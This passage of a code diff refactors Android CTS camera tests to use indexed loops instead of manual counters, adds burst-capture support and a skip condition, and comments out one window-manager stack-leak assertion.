for (Size sz : videoSizes) {
long minFrameDuration = config.getOutputMinFrameDuration(
android.media.MediaRecorder.class, sz);
@@ -300,14 +300,14 @@ public class ExtendedCameraCharacteristicsTest extends Camera2AndroidTestCase {
}
}
} else {
- int cameraId = Integer.valueOf(mAllCameraIds[counter]);
+ int cameraId = Integer.valueOf(mAllCameraIds[i]);
CamcorderProfile maxVideoProfile = CamcorderProfile.get(
cameraId, CamcorderProfile.QUALITY_HIGH);
maxVideoSize = new Size(
maxVideoProfile.videoFrameWidth, maxVideoProfile.videoFrameHeight);
}
if (maxVideoSize == null) {
- fail("Camera " + mAllCameraIds[counter] + " does not support any 30fps video output");
+ fail("Camera " + mAllCameraIds[i] + " does not support any 30fps video output");
}
// Handle FullHD special case first
@@ -377,8 +377,6 @@ public class ExtendedCameraCharacteristicsTest extends Camera2AndroidTestCase {
}
}
}
-
- counter++;
}
}
@@ -767,14 +765,14 @@ public class ExtendedCameraCharacteristicsTest extends Camera2AndroidTestCase {
}
public void testRecommendedStreamConfigurations() throws Exception {
- int counter = 0;
- for (CameraCharacteristics c : mCharacteristics) {
+ for (int i = 0; i < mAllCameraIds.length; i++) {
+ CameraCharacteristics c = mCharacteristics.get(i);
int[] actualCapabilities = c.get(CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES);
assertNotNull("android.request.availableCapabilities must never be null",
actualCapabilities);
if (!arrayContains(actualCapabilities, BC)) {
- Log.i(TAG, "Camera " + mAllCameraIds[counter] +
+ Log.i(TAG, "Camera " + mAllCameraIds[i] +
": BACKWARD_COMPATIBLE capability not supported, skipping test");
continue;
}
@@ -821,46 +819,44 @@ public class ExtendedCameraCharacteristicsTest extends Camera2AndroidTestCase {
if ((previewConfig == null) && (videoRecordingConfig == null) &&
(videoSnapshotConfig == null) && (snapshotConfig == null) &&
(rawConfig == null) && (zslConfig == null) && (lowLatencyConfig == null)) {
- Log.i(TAG, "Camera " + mAllCameraIds[counter] +
+ Log.i(TAG, "Camera " + mAllCameraIds[i] +
" doesn't support recommended configurations, skipping test");
continue;
}
assertNotNull(String.format("Mandatory recommended preview configuration map not " +
- "found for: ID %s", mAllCameraIds[counter]), previewConfig);
- verifyRecommendedPreviewConfiguration(mAllCameraIds[counter], c, previewConfig);
+ "found for: ID %s", mAllCameraIds[i]), previewConfig);
+ verifyRecommendedPreviewConfiguration(mAllCameraIds[i], c, previewConfig);
assertNotNull(String.format("Mandatory recommended video recording configuration map " +
- "not found for: ID %s", mAllCameraIds[counter]), videoRecordingConfig);
- verifyRecommendedVideoConfiguration(mAllCameraIds[counter], c, videoRecordingConfig);
+ "not found for: ID %s", mAllCameraIds[i]), videoRecordingConfig);
+ verifyRecommendedVideoConfiguration(mAllCameraIds[i], c, videoRecordingConfig);
assertNotNull(String.format("Mandatory recommended video snapshot configuration map " +
- "not found for: ID %s", mAllCameraIds[counter]), videoSnapshotConfig);
- verifyRecommendedVideoSnapshotConfiguration(mAllCameraIds[counter], c, videoSnapshotConfig,
+ "not found for: ID %s", mAllCameraIds[i]), videoSnapshotConfig);
+ verifyRecommendedVideoSnapshotConfiguration(mAllCameraIds[i], c, videoSnapshotConfig,
videoRecordingConfig);
assertNotNull(String.format("Mandatory recommended snapshot configuration map not " +
- "found for: ID %s", mAllCameraIds[counter]), snapshotConfig);
- verifyRecommendedSnapshotConfiguration(mAllCameraIds[counter], c, snapshotConfig);
+ "found for: ID %s", mAllCameraIds[i]), snapshotConfig);
+ verifyRecommendedSnapshotConfiguration(mAllCameraIds[i], c, snapshotConfig);
if (arrayContains(actualCapabilities, RAW)) {
assertNotNull(String.format("Mandatory recommended raw configuration map not " +
- "found for: ID %s", mAllCameraIds[counter]), rawConfig);
- verifyRecommendedRawConfiguration(mAllCameraIds[counter], c, rawConfig);
+ "found for: ID %s", mAllCameraIds[i]), rawConfig);
+ verifyRecommendedRawConfiguration(mAllCameraIds[i], c, rawConfig);
}
if (arrayContains(actualCapabilities, OPAQUE_REPROCESS) ||
arrayContains(actualCapabilities, YUV_REPROCESS)) {
assertNotNull(String.format("Mandatory recommended ZSL configuration map not " +
- "found for: ID %s", mAllCameraIds[counter]), zslConfig);
- verifyRecommendedZSLConfiguration(mAllCameraIds[counter], c, zslConfig);
+ "found for: ID %s", mAllCameraIds[i]), zslConfig);
+ verifyRecommendedZSLConfiguration(mAllCameraIds[i], c, zslConfig);
}
if (lowLatencyConfig != null) {
- verifyRecommendedLowLatencyConfiguration(mAllCameraIds[counter], c, lowLatencyConfig);
+ verifyRecommendedLowLatencyConfiguration(mAllCameraIds[i], c, lowLatencyConfig);
}
-
- counter++;
}
}
@@ -868,12 +864,12 @@ public class ExtendedCameraCharacteristicsTest extends Camera2AndroidTestCase {
* Test {@link CameraCharacteristics#getKeys}
*/
public void testKeys() {
- int counter = 0;
- for (CameraCharacteristics c : mCharacteristics) {
- mCollector.setCameraId(mAllCameraIds[counter]);
+ for (int i = 0; i < mAllCameraIds.length; i++) {
+ CameraCharacteristics c = mCharacteristics.get(i);
+ mCollector.setCameraId(mAllCameraIds[i]);
if (VERBOSE) {
- Log.v(TAG, "testKeys - testing characteristics for camera " + mAllCameraIds[counter]);
+ Log.v(TAG, "testKeys - testing characteristics for camera " + mAllCameraIds[i]);
}
List<CameraCharacteristics.Key<?>> allKeys = c.getKeys();
@@ -998,7 +994,7 @@ public class ExtendedCameraCharacteristicsTest extends Camera2AndroidTestCase {
StreamConfigurationMap config =
c.get(CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP);
assertNotNull(String.format("No stream configuration map found for: ID %s",
- mAllCameraIds[counter]), config);
+ mAllCameraIds[i]), config);
if (config.isOutputSupportedFor(ImageFormat.RAW_SENSOR) ||
config.isOutputSupportedFor(ImageFormat.RAW10) ||
config.isOutputSupportedFor(ImageFormat.RAW12) ||
@@ -1029,8 +1025,6 @@ public class ExtendedCameraCharacteristicsTest extends Camera2AndroidTestCase {
mCollector.expectLessOrEqual("Version too long: " + version, MAX_VERSION_LENGTH,
version.length());
}
-
- counter++;
}
}
@@ -1038,14 +1032,14 @@ public class ExtendedCameraCharacteristicsTest extends Camera2AndroidTestCase {
* Test values for static metadata used by the RAW capability.
*/
public void testStaticRawCharacteristics() {
- int counter = 0;
- for (CameraCharacteristics c : mCharacteristics) {
+ for (int i = 0; i < mAllCameraIds.length; i++) {
+ CameraCharacteristics c = mCharacteristics.get(i);
int[] actualCapabilities = c.get(CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES);
assertNotNull("android.request.availableCapabilities must never be null",
actualCapabilities);
if (!arrayContains(actualCapabilities,
CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES_RAW)) {
- Log.i(TAG, "RAW capability is not supported in camera " + counter++ +
+ Log.i(TAG, "RAW capability is not supported in camera " + mAllCameraIds[i] +
". Skip the test.");
continue;
}
@@ -1137,7 +1131,6 @@ public class ExtendedCameraCharacteristicsTest extends Camera2AndroidTestCase {
}
// TODO: profileHueSatMap, and profileToneCurve aren't supported yet.
- counter++;
}
}
@@ -1164,8 +1157,8 @@ public class ExtendedCameraCharacteristicsTest extends Camera2AndroidTestCase {
* Test values for static metadata used by the BURST capability.
*/
public void testStaticBurstCharacteristics() throws Exception {
- int counter = 0;
- for (CameraCharacteristics c : mCharacteristics) {
+ for (int i = 0; i < mAllCameraIds.length; i++) {
+ CameraCharacteristics c = mCharacteristics.get(i);
int[] actualCapabilities = CameraTestUtils.getValueNotNull(
c, CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES);
@@ -1184,7 +1177,7 @@ public class ExtendedCameraCharacteristicsTest extends Camera2AndroidTestCase {
StreamConfigurationMap config =
c.get(CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP);
assertNotNull(String.format("No stream configuration map found for: ID %s",
- mAllCameraIds[counter]), config);
+ mAllCameraIds[i]), config);
Rect activeRect = CameraTestUtils.getValueNotNull(
c, CameraCharacteristics.SENSOR_INFO_ACTIVE_ARRAY_SIZE);
Size sensorSize = new Size(activeRect.width(), activeRect.height());
@@ -1205,7 +1198,7 @@ public class ExtendedCameraCharacteristicsTest extends Camera2AndroidTestCase {
}
Size maxJpegSize = CameraTestUtils.getMaxSize(CameraTestUtils.getSupportedSizeForFormat(
- ImageFormat.JPEG, mAllCameraIds[counter], mCameraManager));
+ ImageFormat.JPEG, mAllCameraIds[i], mCameraManager));
boolean haveMaxYuv = maxYuvSize != null ?
(maxJpegSize.getWidth() <= maxYuvSize.getWidth() &&
@@ -1259,7 +1252,7 @@ public class ExtendedCameraCharacteristicsTest extends Camera2AndroidTestCase {
// it's not quite per-frame
Integer maxSyncLatencyValue = c.get(CameraCharacteristics.SYNC_MAX_LATENCY);
- assertNotNull(String.format("No sync latency declared for ID %s", mAllCameraIds[counter]),
+ assertNotNull(String.format("No sync latency declared for ID %s", mAllCameraIds[i]),
maxSyncLatencyValue);
int maxSyncLatency = maxSyncLatencyValue;
@@ -1273,56 +1266,54 @@ public class ExtendedCameraCharacteristicsTest extends Camera2AndroidTestCase {
assertTrue(
String.format("BURST-capable camera device %s does not have maximum YUV " +
"size that is at least max JPEG size",
- mAllCameraIds[counter]),
+ mAllCameraIds[i]),
haveMaxYuv);
assertTrue(
String.format("BURST-capable camera device %s max-resolution " +
"YUV frame rate is too slow" +
"(%d ns min frame duration reported, less than %d ns expected)",
- mAllCameraIds[counter], maxYuvRate, MIN_MAXSIZE_DURATION_BOUND_NS),
+ mAllCameraIds[i], maxYuvRate, MIN_MAXSIZE_DURATION_BOUND_NS),
haveMaxYuvRate);
assertTrue(
String.format("BURST-capable camera device %s >= 8MP YUV output " +
"frame rate is too slow" +
"(%d ns min frame duration reported, less than %d ns expected)",
- mAllCameraIds[counter], maxYuvRate, MIN_8MP_DURATION_BOUND_NS),
+ mAllCameraIds[i], maxYuvRate, MIN_8MP_DURATION_BOUND_NS),
haveFastYuvRate);
assertTrue(
String.format("BURST-capable camera device %s does not list an AE target " +
" FPS range with min FPS >= %f, for full-AUTO bursts",
- mAllCameraIds[counter], minYuvFps),
+ mAllCameraIds[i], minYuvFps),
haveFastAeTargetFps);
assertTrue(
String.format("BURST-capable camera device %s YUV sync latency is too long" +
"(%d frames reported, [0, %d] frames expected)",
- mAllCameraIds[counter], maxSyncLatency, MAX_LATENCY_BOUND),
+ mAllCameraIds[i], maxSyncLatency, MAX_LATENCY_BOUND),
haveFastSyncLatency);
assertTrue(
String.format("BURST-capable camera device %s max YUV size %s should be" +
"close to active array size %s or cropped active array size %s",
- mAllCameraIds[counter], maxYuvSize.toString(), sensorSize.toString(),
+ mAllCameraIds[i], maxYuvSize.toString(), sensorSize.toString(),
maxYuvMatchSensorPair.second.toString()),
maxYuvMatchSensorPair.first.booleanValue());
assertTrue(
String.format("BURST-capable camera device %s does not support AE lock",
- mAllCameraIds[counter]),
+ mAllCameraIds[i]),
haveAeLock);
assertTrue(
String.format("BURST-capable camera device %s does not support AWB lock",
- mAllCameraIds[counter]),
+ mAllCameraIds[i]),
haveAwbLock);
} else {
assertTrue("Must have null slow YUV size array when no BURST_CAPTURE capability!",
slowYuvSizes == null);
assertTrue(
String.format("Camera device %s has all the requirements for BURST" +
- " capability but does not report it!", mAllCameraIds[counter]),
+ " capability but does not report it!", mAllCameraIds[i]),
!(haveMaxYuv && haveMaxYuvRate && haveFastYuvRate && haveFastAeTargetFps &&
haveFastSyncLatency && maxYuvMatchSensorPair.first.booleanValue() &&
haveAeLock && haveAwbLock));
}
-
- counter++;
}
}
@@ -1330,11 +1321,10 @@ public class ExtendedCameraCharacteristicsTest extends Camera2AndroidTestCase {
* Check reprocessing capabilities.
*/
public void testReprocessingCharacteristics() {
- int counter = 0;
-
- for (CameraCharacteristics c : mCharacteristics) {
- Log.i(TAG, "testReprocessingCharacteristics: Testing camera ID " + mAllCameraIds[counter]);
+ for (int i = 0; i < mAllCameraIds.length; i++) {
+ Log.i(TAG, "testReprocessingCharacteristics: Testing camera ID " + mAllCameraIds[i]);
+ CameraCharacteristics c = mCharacteristics.get(i);
int[] capabilities = c.get(CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES);
assertNotNull("android.request.availableCapabilities must never be null",
capabilities);
@@ -1452,7 +1442,6 @@ public class ExtendedCameraCharacteristicsTest extends Camera2AndroidTestCase {
"NOISE_REDUCTION_MODE_ZERO_SHUTTER_LAG is supported",
!supportZslNoiseReductionMode);
}
- counter++;
}
}
@@ -1460,11 +1449,10 @@ public class ExtendedCameraCharacteristicsTest extends Camera2AndroidTestCase {
* Check depth output capability
*/
public void testDepthOutputCharacteristics() {
- int counter = 0;
-
- for (CameraCharacteristics c : mCharacteristics) {
- Log.i(TAG, "testDepthOutputCharacteristics: Testing camera ID " + mAllCameraIds[counter]);
+ for (int i = 0; i < mAllCameraIds.length; i++) {
+ Log.i(TAG, "testDepthOutputCharacteristics: Testing camera ID " + mAllCameraIds[i]);
+ CameraCharacteristics c = mCharacteristics.get(i);
int[] capabilities = c.get(CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES);
assertNotNull("android.request.availableCapabilities must never be null",
capabilities);
@@ -1651,7 +1639,6 @@ public class ExtendedCameraCharacteristicsTest extends Camera2AndroidTestCase {
reportCalibration);
}
}
- counter++;
}
}
@@ -1737,13 +1724,13 @@ public class ExtendedCameraCharacteristicsTest extends Camera2AndroidTestCase {
* Cross-check StreamConfigurationMap output
*/
public void testStreamConfigurationMap() throws Exception {
- int counter = 0;
- for (CameraCharacteristics c : mCharacteristics) {
- Log.i(TAG, "testStreamConfigurationMap: Testing camera ID " + mAllCameraIds[counter]);
+ for (int i = 0; i < mAllCameraIds.length; i++) {
+ Log.i(TAG, "testStreamConfigurationMap: Testing camera ID " + mAllCameraIds[i]);
+ CameraCharacteristics c = mCharacteristics.get(i);
StreamConfigurationMap config =
c.get(CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP);
assertNotNull(String.format("No stream configuration map found for: ID %s",
- mAllCameraIds[counter]), config);
+ mAllCameraIds[i]), config);
int[] actualCapabilities = c.get(CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES);
assertNotNull("android.request.availableCapabilities must never be null",
@@ -1799,12 +1786,12 @@ public class ExtendedCameraCharacteristicsTest extends Camera2AndroidTestCase {
}
assertTrue("Supported format " + format + " has no sizes listed",
supportedSizes.size() > 0);
- for (int i = 0; i < supportedSizes.size(); i++) {
- Size size = supportedSizes.get(i);
+ for (int j = 0; j < supportedSizes.size(); j++) {
+ Size size = supportedSizes.get(j);
if (VERBOSE) {
Log.v(TAG,
String.format("Testing camera %s, format %d, size %s",
- mAllCameraIds[counter], format, size.toString()));
+ mAllCameraIds[i], format, size.toString()));
}
long stallDuration = config.getOutputStallDuration(format, size);
@@ -1817,14 +1804,14 @@ public class ExtendedCameraCharacteristicsTest extends Camera2AndroidTestCase {
case ImageFormat.RAW_SENSOR:
final float TOLERANCE_FACTOR = 2.0f;
long prevDuration = 0;
- if (i > 0) {
+ if (j > 0) {
prevDuration = config.getOutputStallDuration(
- format, supportedSizes.get(i - 1));
+ format, supportedSizes.get(j - 1));
}
long nextDuration = Long.MAX_VALUE;
- if (i < (supportedSizes.size() - 1)) {
+ if (j < (supportedSizes.size() - 1)) {
nextDuration = config.getOutputStallDuration(
- format, supportedSizes.get(i + 1));
+ format, supportedSizes.get(j + 1));
}
long curStallDuration = config.getOutputStallDuration(format, size);
// Stall duration should be in a reasonable range: larger size should
@@ -1898,7 +1885,7 @@ public class ExtendedCameraCharacteristicsTest extends Camera2AndroidTestCase {
Surface surf = new Surface(st);
Size[] opaqueSizes = CameraTestUtils.getSupportedSizeForClass(SurfaceTexture.class,
- mAllCameraIds[counter], mCameraManager);
+ mAllCameraIds[i], mCameraManager);
assertTrue("Opaque format has no sizes listed",
opaqueSizes.length > 0);
for (Size size : opaqueSizes) {
@@ -1934,7 +1921,6 @@ public class ExtendedCameraCharacteristicsTest extends Camera2AndroidTestCase {
config.isOutputSupportedFor(surf));
}
- counter++;
} // mCharacteristics
}
@@ -1943,8 +1929,8 @@ public class ExtendedCameraCharacteristicsTest extends Camera2AndroidTestCase {
* the StreamConfigurationMap.
*/
public void testConstrainedHighSpeedCapability() throws Exception {
- int counter = 0;
- for (CameraCharacteristics c : mCharacteristics) {
+ for (int i = 0; i < mAllCameraIds.length; i++) {
+ CameraCharacteristics c = mCharacteristics.get(i);
int[] capabilities = CameraTestUtils.getValueNotNull(
c, CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES);
boolean supportHighSpeed = arrayContains(capabilities, CONSTRAINED_HIGH_SPEED);
@@ -1955,7 +1941,7 @@ public class ExtendedCameraCharacteristicsTest extends Camera2AndroidTestCase {
List<Size> highSpeedSizes = Arrays.asList(config.getHighSpeedVideoSizes());
assertTrue("High speed sizes shouldn't be empty", highSpeedSizes.size() > 0);
Size[] allSizes = CameraTestUtils.getSupportedSizeForFormat(ImageFormat.PRIVATE,
- mAllCameraIds[counter], mCameraManager);
+ mAllCameraIds[i], mCameraManager);
assertTrue("Normal size for PRIVATE format shouldn't be null or empty",
allSizes != null && allSizes.length > 0);
for (Size size: highSpeedSizes) {
@@ -1995,7 +1981,7 @@ public class ExtendedCameraCharacteristicsTest extends Camera2AndroidTestCase {
// should be advertise by the camera.
for (int quality = CamcorderProfile.QUALITY_HIGH_SPEED_480P;
quality <= CamcorderProfile.QUALITY_HIGH_SPEED_2160P; quality++) {
- int cameraId = Integer.valueOf(mAllCameraIds[counter]);
+ int cameraId = Integer.valueOf(mAllCameraIds[i]);
if (CamcorderProfile.hasProfile(cameraId, quality)) {
CamcorderProfile profile = CamcorderProfile.get(cameraId, quality);
Size camcorderProfileSize =
@@ -2016,7 +2002,6 @@ public class ExtendedCameraCharacteristicsTest extends Camera2AndroidTestCase {
}
}
}
- counter++;
}
}
@@ -2024,8 +2009,8 @@ public class ExtendedCameraCharacteristicsTest extends Camera2AndroidTestCase {
* Sanity check of optical black regions.
*/
public void testOpticalBlackRegions() {
- int counter = 0;
- for (CameraCharacteristics c : mCharacteristics) {
+ for (int i = 0; i < mAllCameraIds.length; i++) {
+ CameraCharacteristics c = mCharacteristics.get(i);
List<CaptureResult.Key<?>> resultKeys = c.getAvailableCaptureResultKeys();
boolean hasDynamicBlackLevel =
resultKeys.contains(CaptureResult.SENSOR_DYNAMIC_BLACK_LEVEL);
@@ -2058,7 +2043,7 @@ public class ExtendedCameraCharacteristicsTest extends Camera2AndroidTestCase {
// Range check.
for (Rect region : regions) {
- mCollector.expectTrue("Camera " + mAllCameraIds[counter] + ": optical black region" +
+ mCollector.expectTrue("Camera " + mAllCameraIds[i] + ": optical black region" +
" shouldn't be empty!", !region.isEmpty());
mCollector.expectGreaterOrEqual("Optical black region left", 0/*expected*/,
region.left/*actual*/);
@@ -2090,10 +2075,9 @@ public class ExtendedCameraCharacteristicsTest extends Camera2AndroidTestCase {
}
}
} else {
- Log.i(TAG, "Camera " + mAllCameraIds[counter] + " doesn't support optical black regions,"
+ Log.i(TAG, "Camera " + mAllCameraIds[i] + " doesn't support optical black regions,"
+ " skip the region test");
}
- counter++;
}
}
@@ -2101,10 +2085,8 @@ public class ExtendedCameraCharacteristicsTest extends Camera2AndroidTestCase {
* Check Logical camera capability
*/
public void testLogicalCameraCharacteristics() throws Exception {
- int counter = 0;
- String[] publicIds = mCameraManager.getCameraIdList();
-
- for (CameraCharacteristics c : mCharacteristics) {
+ for (int i = 0; i < mAllCameraIds.length; i++) {
+ CameraCharacteristics c = mCharacteristics.get(i);
int[] capabilities = CameraTestUtils.getValueNotNull(
c, CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES);
boolean supportLogicalCamera = arrayContains(capabilities,
@@ -2126,8 +2108,8 @@ public class ExtendedCameraCharacteristicsTest extends Camera2AndroidTestCase {
assertNotNull("Physical camera id shouldn't be null", physicalCameraId);
assertTrue(
String.format("Physical camera id %s shouldn't be the same as logical"
- + " camera id %s", physicalCameraId, mAllCameraIds[counter]),
- physicalCameraId != mAllCameraIds[counter]);
+ + " camera id %s", physicalCameraId, mAllCameraIds[i]),
+ physicalCameraId != mAllCameraIds[i]);
//validation for depth static metadata of physical cameras
CameraCharacteristics pc =
@@ -2160,17 +2142,16 @@ public class ExtendedCameraCharacteristicsTest extends Camera2AndroidTestCase {
if (!isExternalCamera) {
float[] focalLengths = c.get(
CameraCharacteristics.LENS_INFO_AVAILABLE_FOCAL_LENGTHS);
- for (int i = 0; i < focalLengths.length-1; i++) {
+ for (int j = 0; j < focalLengths.length-1; j++) {
mCollector.expectTrue("Camera's available focal lengths must be ascending!",
- focalLengths[i] < focalLengths[i+1]);
+ focalLengths[j] < focalLengths[j+1]);
}
float[] apertures = c.get(CameraCharacteristics.LENS_INFO_AVAILABLE_APERTURES);
- for (int i = 0; i < apertures.length-1; i++) {
+ for (int j = 0; j < apertures.length-1; j++) {
mCollector.expectTrue("Camera's available apertures must be ascending!",
- apertures[i] < apertures[i+1]);
+ apertures[j] < apertures[j+1]);
}
}
- counter++;
}
}
@@ -2178,11 +2159,10 @@ public class ExtendedCameraCharacteristicsTest extends Camera2AndroidTestCase {
* Check monochrome camera capability
*/
public void testMonochromeCharacteristics() {
- int counter = 0;
-
- for (CameraCharacteristics c : mCharacteristics) {
- Log.i(TAG, "testMonochromeCharacteristics: Testing camera ID " + mAllCameraIds[counter]);
+ for (int i = 0; i < mAllCameraIds.length; i++) {
+ Log.i(TAG, "testMonochromeCharacteristics: Testing camera ID " + mAllCameraIds[i]);
+ CameraCharacteristics c = mCharacteristics.get(i);
int[] capabilities = c.get(CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES);
assertNotNull("android.request.availableCapabilities must never be null",
capabilities);
@@ -2375,8 +2355,8 @@ public class ExtendedCameraCharacteristicsTest extends Camera2AndroidTestCase {
}
boolean isDevicePortrait = metrics.widthPixels < metrics.heightPixels;
- int counter = 0;
- for (CameraCharacteristics c : mCharacteristics) {
+ for (int i = 0; i < mAllCameraIds.length; i++) {
+ CameraCharacteristics c = mCharacteristics.get(i);
// Camera size
Size pixelArraySize = c.get(CameraCharacteristics.SENSOR_INFO_PIXEL_ARRAY_SIZE);
// Camera orientation
@@ -2384,7 +2364,6 @@ public class ExtendedCameraCharacteristicsTest extends Camera2AndroidTestCase {
// For square sensor, test is guaranteed to pass
if (pixelArraySize.getWidth() == pixelArraySize.getHeight()) {
- counter++;
continue;
}
@@ -2399,9 +2378,8 @@ public class ExtendedCameraCharacteristicsTest extends Camera2AndroidTestCase {
boolean isCameraPortrait =
adjustedSensorSize.getWidth() < adjustedSensorSize.getHeight();
- assertFalse("Camera " + mAllCameraIds[counter] + "'s long dimension must "
+ assertFalse("Camera " + mAllCameraIds[i] + "'s long dimension must "
+ "align with screen's long dimension", isDevicePortrait^isCameraPortrait);
- counter++;
}
}
diff --git a/tests/camera/src/android/hardware/camera2/cts/LogicalCameraDeviceTest.java b/tests/camera/src/android/hardware/camera2/cts/LogicalCameraDeviceTest.java
index 750e7155c78..37dfbddb3fd 100644
--- a/tests/camera/src/android/hardware/camera2/cts/LogicalCameraDeviceTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/LogicalCameraDeviceTest.java
@@ -191,6 +191,7 @@ public final class LogicalCameraDeviceTest extends Camera2SurfaceViewTestCase {
Size previewSize= findCommonPreviewSize(id, dualPhysicalCameraIds);
if (previewSize == null) {
Log.i(TAG, "Camera " + id + ": No matching physical preview streams, skipping");
+ continue;
}
testBasicPhysicalStreamingForCamera(
diff --git a/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java b/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java
index b7510e65200..d108600e718 100644
--- a/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java
@@ -65,7 +65,7 @@ public class RobustnessTest extends Camera2AndroidTestCase {
private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
private static final int CONFIGURE_TIMEOUT = 5000; //ms
- private static final int CAPTURE_TIMEOUT = 1000; //ms
+ private static final int CAPTURE_TIMEOUT = 1500; //ms
// For testTriggerInteractions
private static final int PREVIEW_WARMUP_FRAMES = 60;
diff --git a/tests/camera/src/android/hardware/camera2/cts/testcases/Camera2SurfaceViewTestCase.java b/tests/camera/src/android/hardware/camera2/cts/testcases/Camera2SurfaceViewTestCase.java
index 1f8b792717f..5a95d6292a0 100644
--- a/tests/camera/src/android/hardware/camera2/cts/testcases/Camera2SurfaceViewTestCase.java
+++ b/tests/camera/src/android/hardware/camera2/cts/testcases/Camera2SurfaceViewTestCase.java
@@ -385,6 +385,31 @@ public class Camera2SurfaceViewTestCase {
}
/**
+ * Submit a burst of the same capture request, then submit additional captures in order to
+ * ensure that the camera will be synchronized.
+ *
+ * <p>
+ * The additional capture count is determined by android.sync.maxLatency (or
+ * a fixed {@value #NUM_FRAMES_WAITED_FOR_UNKNOWN_LATENCY}) captures if maxLatency is unknown).
+ * </p>
+ *
+ * <p>Returns the number of captures that were submitted (at least 1), which is useful
+ * with {@link #waitForNumResults}.</p>
+ *
+ * @param request capture request to forward to {@link CameraDevice#capture}
+ * @param listener request listener to forward to {@link CameraDevice#capture}
+ * @param handler handler to forward to {@link CameraDevice#capture}
+ *
+ * @return the number of captures that were submitted
+ *
+ * @throws CameraAccessException if capturing failed
+ */
+ protected int captureRequestsSynchronizedBurst(
+ CaptureRequest request, int count, CaptureCallback listener, Handler handler)
+ throws CameraAccessException {
+ return captureRequestsSynchronizedImpl(request, count, listener, handler, true);
+ }
+ /**
* Submit a capture once, then submit additional captures in order to ensure that
* the camera will be synchronized.
*
@@ -407,7 +432,7 @@ public class Camera2SurfaceViewTestCase {
protected int captureRequestsSynchronized(
CaptureRequest request, CaptureCallback listener, Handler handler)
throws CameraAccessException {
- return captureRequestsSynchronized(request, /*count*/1, listener, handler);
+ return captureRequestsSynchronizedImpl(request, /*count*/1, listener, handler, false);
}
/**
@@ -435,24 +460,7 @@ public class Camera2SurfaceViewTestCase {
protected int captureRequestsSynchronized(
CaptureRequest request, int count, CaptureCallback listener, Handler handler)
throws CameraAccessException {
- if (count < 1) {
- throw new IllegalArgumentException("count must be positive");
- }
-
- int maxLatency = mStaticInfo.getSyncMaxLatency();
- if (maxLatency == CameraMetadata.SYNC_MAX_LATENCY_UNKNOWN) {
- maxLatency = NUM_FRAMES_WAITED_FOR_UNKNOWN_LATENCY;
- }
-
- assertTrue("maxLatency is non-negative", maxLatency >= 0);
-
- int numCaptures = maxLatency + count;
-
- for (int i = 0; i < numCaptures; ++i) {
- mSession.capture(request, listener, handler);
- }
-
- return numCaptures;
+ return captureRequestsSynchronizedImpl(request, count, listener, handler, false);
}
/**
@@ -878,4 +886,34 @@ public class Camera2SurfaceViewTestCase {
protected Range<Integer> getSuitableFpsRangeForDuration(String cameraId, long frameDuration) {
return CameraTestUtils.getSuitableFpsRangeForDuration(cameraId, frameDuration, mStaticInfo);
}
+
+ private int captureRequestsSynchronizedImpl(
+ CaptureRequest request, int count, CaptureCallback listener, Handler handler,
+ boolean isBurst) throws CameraAccessException {
+ if (count < 1) {
+ throw new IllegalArgumentException("count must be positive");
+ }
+
+ int maxLatency = mStaticInfo.getSyncMaxLatency();
+ if (maxLatency == CameraMetadata.SYNC_MAX_LATENCY_UNKNOWN) {
+ maxLatency = NUM_FRAMES_WAITED_FOR_UNKNOWN_LATENCY;
+ }
+
+ assertTrue("maxLatency is non-negative", maxLatency >= 0);
+
+ int numCaptures = maxLatency + count;
+ ArrayList<CaptureRequest> burstCaptureRequests = new ArrayList<>();
+ for (int i = 0; i < numCaptures; ++i) {
+ if (isBurst) {
+ burstCaptureRequests.add(request);
+ } else {
+ mSession.capture(request, listener, handler);
+ }
+ }
+ if (isBurst) {
+ mSession.captureBurst(burstCaptureRequests, listener, handler);
+ }
+
+ return numCaptures;
+ }
}
diff --git a/tests/framework/base/windowmanager/backgroundactivity/src/android/server/wm/BackgroundActivityLaunchTest.java b/tests/framework/base/windowmanager/backgroundactivity/src/android/server/wm/BackgroundActivityLaunchTest.java
index 1734a4e038f..0a51a0d61e0 100644
--- a/tests/framework/base/windowmanager/backgroundactivity/src/android/server/wm/BackgroundActivityLaunchTest.java
+++ b/tests/framework/base/windowmanager/backgroundactivity/src/android/server/wm/BackgroundActivityLaunchTest.java
@@ -124,15 +124,16 @@ public class BackgroundActivityLaunchTest extends ActivityManagerTestBase {
assertFalse("Should not able to launch background activity", result);
assertTaskStack(null, APP_A_BACKGROUND_ACTIVITY);
+ // TODO(b/137134312): Bring this back once the stacks leakage issue is fixed
// Make sure aborting activity starts won't have any empty task/stack leaks.
- List<ActivityManagerState.ActivityStack> stacks = mAmWmState.getAmState().getStacks();
- for (ActivityManagerState.ActivityStack stack : stacks) {
- assertThat(stack.getTopTask()).isNotNull();
- List<ActivityManagerState.ActivityTask> tasks = stack.getTasks();
- for (ActivityManagerState.ActivityTask task : tasks) {
- assertThat(task.getActivities().size()).isGreaterThan(0);
- }
- }
+ // List<ActivityManagerState.ActivityStack> stacks = mAmWmState.getAmState().getStacks();
+ // for (ActivityManagerState.ActivityStack stack : stacks) {
+ // assertThat(stack.getTopTask()).isNotNull();
+ // List<ActivityManagerState.ActivityTask> tasks = stack.getTasks();
+ // for (ActivityManagerState.ActivityTask task : tasks) {
+ // assertThat(task.getActivities().size()).isGreaterThan(0);
+ // }
+ // }
}
@Test
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java b/tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java
index 3fcb7e07901..523e660bfce 100644
